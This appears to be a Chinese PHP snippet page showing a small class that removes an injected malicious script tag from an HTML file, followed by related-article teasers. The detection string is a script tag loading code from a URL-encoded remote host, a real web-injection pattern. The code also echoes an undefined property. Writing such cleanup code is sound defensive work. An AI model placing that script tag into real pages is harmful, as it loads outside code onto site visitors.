php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php 数组字符串搜索array_search技巧

php 搜索数组字符串我们一般会用到array_search和in_array两个函数 array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了...

PHP SPL使用方法和他的威力

SPL,PHP 标准库(Standard PHP Library) ,此从 PHP 5.0 起内置的组件和接口,并且从 PHP5.3 已逐渐的成熟。SPL 其实在所有的 PHP5 开发环...

php利用cookies实现购物车的方法

本文实例讲述了php利用cookies实现购物车的方法。分享给大家供大家参考。具体分析如下: php购物车是在电子商务网站会用到的,一种像超市购物车一样的,选好商品了,先放到自己的购物车...

WordPress的文章自动添加关键词及关键词的SEO优化

网站的关键字及网页描述关系网站对搜索引擎的友好程度,如果自己手动加显然太折腾了,那如何让wordpress博客自动为每篇文章自动关键字及网页描述。每篇文章的内容不同,我们该如何让word...

php中str_pad()函数用法分析

本文实例讲述了php中str_pad()函数用法。分享给大家供大家参考,具体如下: str_pad() 函数把字符串填充为新的长度。 语法: str_pad(string,ength,p...